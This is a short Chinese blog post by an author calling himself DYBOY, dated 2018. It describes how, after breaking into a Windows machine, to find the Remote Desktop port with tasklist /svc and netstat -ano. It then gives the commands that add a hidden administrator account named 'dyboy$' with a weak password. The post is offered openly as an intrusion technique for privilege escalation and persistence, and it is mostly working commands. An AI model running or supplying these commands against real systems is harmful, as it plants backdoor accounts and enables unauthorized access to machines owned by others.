在我们后期提权的过程中,成功添加账号密码
tasklist /svc
在输出的内容中查找 svchost.exe
进程下 termservice
服务对应的 PID
netstat -ano
即可找到 PID
对应的开放端口,即远程桌面开放端口
然后就是一顿提权猛如虎
net user dyboy$ admin123456 /add net localgroup Administrators dyboy$ /add
版权声明:《 Windows查看远程桌面端口/提权 》为DYBOY原创文章,转载请注明出处!
最后编辑:2018-7-28 09:07:51